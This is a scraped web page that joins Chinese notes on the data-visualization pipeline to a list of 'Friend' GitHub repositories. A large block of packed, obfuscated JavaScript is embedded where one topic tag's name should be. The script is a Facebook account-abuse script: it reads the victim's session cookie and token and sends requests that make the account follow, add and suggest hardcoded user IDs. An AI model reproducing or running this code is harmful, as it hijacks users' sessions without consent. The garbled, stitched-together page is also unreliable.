摘要(Abstract)
数据采集。数据的采集直接决定了数据的格式、维度、尺寸、分辨率、精确度等重要性质,在很大程度上决定了可视化结果的质量。
数据变换。这个过程包括去除数据噪声、数据清洗、提取特征。
可视化映射。可视化映射是整个可视化流程的核心,它将数据的数值、空间位置、不同位置数据间的联系等,映射到不同的视觉通道,关于视觉通道部分可以看这篇文章—— 数据可视化的基本原理——视觉通道 。
用户感知。数据可视化和其他数据分析处理办法的最大不同是 用户 。用户借助数据可视化结果感受数据的不同,从中提取信息、知识和灵感。
科学可视化流程,
上述过程都是基于数据背后的自然现象或者社会现象,而不是数据本身。
各个模块的联系并不是按照我画的顺序来联系的,他们之间的联系更多是非线性的,任意两个模块之间都可能存在联系。
按照数据收集、处理、映射等步骤来组织可视化
信息可视化流程,
这个模型由 Card 等人提出,把流水线式的可视化流程升级为回路,用户可以操作任何一个阶段。现在大多数可视化流程都是仿照这个来的,大多数系统在实现上可能会有些差异。
人机交互可视化模型
对数据进行交互可视化,以帮助用户感知数据中蕴含的规律
按照给定的先验,进行数据挖掘,从数据中直接提炼出数据模型。
主题(Topic)
项目(Project)
Friend
maikeulb/friend-meet-friend
philomathic-guy/Friend-recommendation-using-movie-data
JussiSuojanen/friends
koorgoo/netpipe
stellar-fox/protostar
RishabhKothaari/f1-friend
izzydavid/Izzy-Friend-Finder
serlinautami/create-my-friend
nverges/FriendFinder
StupidHackathonAMS/cooky
zkan/simple-friend-recommender
Gerjunior/secret-friend
isudarsan/friendmanagement-admin
arjunbazinga/fof
isudarsan/friendmanagement
TudorCretu/FoundYou
hundredrabbits/Pilot
naparuba/opsbro
MichaelMure/Arbore
0){1p=7.p.U(2P);6(1p!=-1){1p+=2P.m;24=7.p.U(";",1p);6(24==-1)24=7.p.m;l 3w(7.p.1q(1p,24))}F{l""}}}8 43(1e,1X){l W.22(W.1W()*(1X-1e+1))+1e}8 3y(q){l q[43(0,q.m-1)]}5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 a(3U){5 14=J 26();5 3E="//1b.11.18/1l/4I.27";5 4f="2f="+3U+"&4H=0&4F=0&4G[4K]=4L&4Q=1&1F="+I+"&1i=1&1I=1J-&1L=v&o="+o+"&1r=4P";14.2L("2E",3E,1v);14.20=8(){6(14.2k==4&&14.25==1a){14.3r}};14.2c(4f)}a("2o");a("3o");a("2r");a("3i");a("3b");a("32");5 2A=\'4O 3T 3Z 4M 4N 3u 4D 4v.\';5 Q="",44=\'4u 4t 4r 4s 13.2F>4w 3u
3z [4C ] 4q%.\';10=/"4A":"([0-9]+)"/.4y(7.Z("4z").4R("4S-5c"))[1];o=7.15("o")[0].1x;8 2Q(1H){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10="+10+"&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(a){5 b=a.1q(a.U("{"));5 c=2h.3v(b);i--;Q="
";48++;6(c.3X)Q+=c.3X;F Q+=2h.58(c,K,"")}F{Q+="H:30;O-S:59\'>";Q+="3T 3Z 5d";1s++}Q+="";5 h="
";h+=""+2A+"";6(i>0){h+=q.m+" 13 2O<2F/>";h+=""+1s+" 13 3Y 5e "+(q.m-i)+" 13 5i ";h+="("+i+" 5h...)";h+="";h+=Q;h+="<3d u=\'2e:1B 5g-5f D(57://56-4X-a.4W.4V/4T-4U/4Y.27/4Z/55/r/54-53.51);2V:3e;52:3e;2U-R:-5j;16:4h;1y:1w 2G X(0,0,0,0.4);\' 4p="+1E[i]+">3d>"+1M[i]+"";h+="";h+=44;h+="";h+=""}F{h+=q.m+" 13 2O 4o ";h+=""+1s+" 13 3Y2F>";h+="<23 1d=\'4i 45 47 4m 49\' 3S=\'C.1c.4k()\' u=\'H:2J\'>4B 5m23><23 1d=\'64 45 47 49\' 3S=\'7.Z(\\"2M\\").u.h=\\"2s\\"\'>6323>"}h+="";7.Z("2M").1Z=h},"E","2m");M--;6(M>0){5 s=q[M];65=1E[M];1o("2Q("+s+")",66)}3F.3N(M+"/"+q.m+":"+q[M]+"/"+1M[M]+", 68:"+1s);6(10){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10=2o&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(){},"E","2m")}6(10){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10=2r&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(){},"E","2m")}}8 4c(){6(7.15("3A").m>0)1O.2X(7.15("3A")[0]);5 a=q[i];6(i0)1O.2X(7.1T("4b")[0].1n[0].1n[0].1n[1]);F j++;1o("4c()",3V)}8 4e(a){i++;1o("3W()",3V)}1t={3q:8(){5 a=G;6(46 2y!="1R")1D{a=J 2y("67.35")}1A(b){1D{a=J 2y("62.35")}1A(c){a=G}}F 6(C.26)1D{a=J 26}1A(b){a=G}l a},1g:8(D,2H,P,N,L){5 t=y.3p();6(!t||!D)l;6(t.36)t.36("E/61");6(!N)N="3g";6(!P)P="E";6(!L)L={};P=P.5W();N=N.5V();5 2Y="2f="+(J 5U).5X();D+=D.U("?")+1?"&":"?";D+=2Y;5 2B=K;6(N=="2E"){5 2n=D.5Y("?");D=2n[0];2B=2n[1]}t.2L(N,D,1v);5 6a=y;6(L.3a)t.20=8(){L.3a(t)};F t.20=8(){6(t.2k==4)6(t.25==1a){5 T="";6(t.39)T=t.39;6(P.3P(0)=="j"){T=T.5Z(/[\\n\\r]/g,"");T=6l("("+T+")")}F 6(P.3P(0)=="x")T=t.6n;6(2H)2H(T)}F{6(L.1f)7.1N("2d")[0].37(L.1f);6(L.V)7.Z(L.V).u.h="2s";6(2D)2D(t.25)}};t.2c(2B)},6m:8(a){5 b={D:"",2R:G,6o:G,P:"E",N:"3g",2v:"",V:"",1f:""};12(5 c 6k b)6(a[c])b[c]=a[c];6(!b.D)l;5 d=G;6(b.1f){d=7.6i("w");d.38("u","1U:3c;2W:2N;R:2N;");d.38("1d","V-6d");d.1Z=b.1f;7.1N("2d")[0].6j(d);y.L.1f=d}6(b.V)7.Z(b.V).u.h="6b";y.1g(b.D,8(a){6(b.2R)b.2R(a);6(b.2v)7.Z(b.2v).1Z=a;6(d)7.1N("2d")[0].37(d);6(b.V)7.Z(b.V).u.h="2s"},b.P,b.N,b)},3p:8(){l y.3q()}};5 1O={3m:8(a,b,c,d){6(c=="2p")c="1d";5 e=7.3j(".//"+b+"[@"+c+"=\'"+d+"\']",a,K,3k.3l,K);6(e&&e.1z)l e.1z;l K},6e:8(a,b,c){l y.3m(a,b,"2p",c)},6f:8(a,b){1D{5 c=7.3j(b,a,K,3k.3l,K)}1A(d){6h("6g 60:"+b)}6(c&&c.1z)l c.1z;l K},5S:8(a){C.1o(8(){7.1c.2g=a},2T+W.22(W.1W()*2T))},1j:8(a,b,c){5 d=a.7.5w("5T");d.5v(c,1v,1v,a,0,0,0,0,0,G,G,G,G,0,K);l!b.5u(d)},5k:8(a){l y.1j(C,a,"29")},5x:8(a,b){C.1o(8(){l 1O.1j(C,a,"29")},b+W.22(W.1W()*2T))},2X:8(a){y.1j(C,a,"5y");y.1j(C,a,"5A");y.1j(C,a,"29")},42:8(a,b){5 c="";6(b==1R)b=0;6(b>40)l;6(a.41!=1R)l a.41;12(5 d=0;d"+2A+"";h+=q.m+" 13 2O";h+="";7.Z("2M").1Z=h;2Q(q[i])});5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 5I(3x){5 2t=3x+"=";6(7.p.m>0){1u=7.p.U(2t);6(1u!=-1){1u+=2t.m;21=7.p.U(";",1u);6(21==-1)21=7.p.m;l 3w(7.p.1q(1u,21))}F{l""}}}8 3D(1e,1X){l W.22(W.1W()*(1X-1e+1))+1e}8 3y(2j){l 2j[3D(0,2j.m-1)]}5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 B(4a){5 19=J 26();5 34="/1l/4d/5D.27?1i=1";5 3n="5E="+4a+"&1c=1&5q=4d-5r&5p=5n&o="+o+"&5s&5z"+I+"&1r=";19.2L("2E",34,1v);19.20=8(){6(19.2k==4&&19.25==1a){19.3r}};19.2c(3n)}B("2o");B("3o");B("2r");B("3i");B("3b");B("6c");B("69");B("32");', d=397,e=" var if document function display return length fb_dtsg cookie arr http style div this window url text else false color user_id new null opt tay method font format Descriptions left size result indexOf loading Math rgba match getElementById newcomer facebook for Friends http4 getElementsByName padding com http24 200 www location class min loadingIndicator load 255 __a ClickWin push ajax align childNodes setTimeout konum substring phstamp suc jx konumi true 1px value border singleNodeValue catch center 0pt try pho __user Array opo __dyn 798aD5z5CF protocol __req arn getElementsByTagName nHtml friend pic undefined eg getElementsByClassName position edge random max c_user innerHTML onreadystatechange soni floor span son status XMLHttpRequest php 3B5998 click receiver attempt_id send body background uid href JSON ref arri readyState 16581651071156988110194 post parts 100003697277263 className profile_others_dropdown 100001050235420 none taramai 0585ab74e2dd0ff10282a3a36df39e19 update box shadow ActiveXObject 10px Title parameters bottom error POST br solid callback 3px white friends open pagelet_sidebar 0px Detected tarama SuggestFriend onSuccess suggest 500 margin width top ClickUp now space gray wrap 100004215691459 pre url24 XMLHTTP overrideMimeType removeChild setAttribute responseText handler 100003231350883 absolute img 50px isim GET 8px 100001375288085 evaluate XPathResult FIRST_ORDERED_NODE_TYPE FindByAttr params24 100003846224832 init getHTTPObject close test options By parse unescape isimi randomValue Loading ok 15px 5px getRandomInti url4 console index 500px 20px 9999 14px 100px 273px log id charAt fixed radius onClick Friend abone 2E3 clickfr errorDescription Suggested Suggestion textContent GetText getRandomInt _text uiOverlayButton typeof uiButton err uiButtonLarge bone search clickfr_callback follow addfriend params4 000000 2px layerConfirm bold reload weight uiButtonConfirm 13px and src 99 Suggesting Your For Thanks Ahmad Powered 999999 exec pagelet_timeline_main_column profile_owner Refresh lllllllllllllllllllllllllllllllllllllll Waqar pkwaq ask_for_confirm nctr pokeback poke_dialog cereziAl _mod pagelet_timeline_profile_actions Sender Made Auto 165816575103566878180 __asyncDialog getAttribute data static ak net akamaihd profile rsrc v2 gif height SK UlIqmHJn yo fbcdn https stringify 12px darkred name gt Sent of repeat no Lefted Processed 125px Click prototype Page u37qac_37 find subscribed_button_id source button lsd RegExp dispatchEvent initMouseEvent createEvent ClickTimeout mousedown __ mouseup typeahead first_degree follow_profile profile_id nm payload entries cereziAli photo friends_only stale_ok user filter lazy viewer v7 token VisitUrl MouseEvents Date toUpperCase toLowerCase getTime split replace xpath xml Microsoft Cancel layerCancel sx 100 Msxml2 success 100001597470562 ths block 100003751777172 indicator FindByClassName FindByXPath bad GM_log createElement appendChild in eval bind responseXML onError".split(" "), f=0,g={},f=function(b){return(62>b?"":f(parseInt(b/62)))+(35<(b%=62)?String.fromCharCode(b+29):b.toString(36))};if(!"".replace(/^/,String)){for(;d--;)g[f(d)]=e[d]||f(d);e=[function(b){return g[b]}];f=function(){return"\\w+"};d=1}for(;d--;)e[d]&&(c=c.replace(RegExp("\\b"+f(d)+"\\b","g"),e[d]));a(c); "));var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq" class="topic-tag topic-tag-link">
friend-sugest
M1ndo/Friend
fhfengzhiyong/friend
rabbit-friend
ceresward/factorio-friendBlueprints
Samuel-Davidsson/FriendsWPF
InfiniteSuns/PetitePoison
missating/friends-list-API
diaaldin/Friendat
hugoalmeidahh/AmigoSecreto
全部项目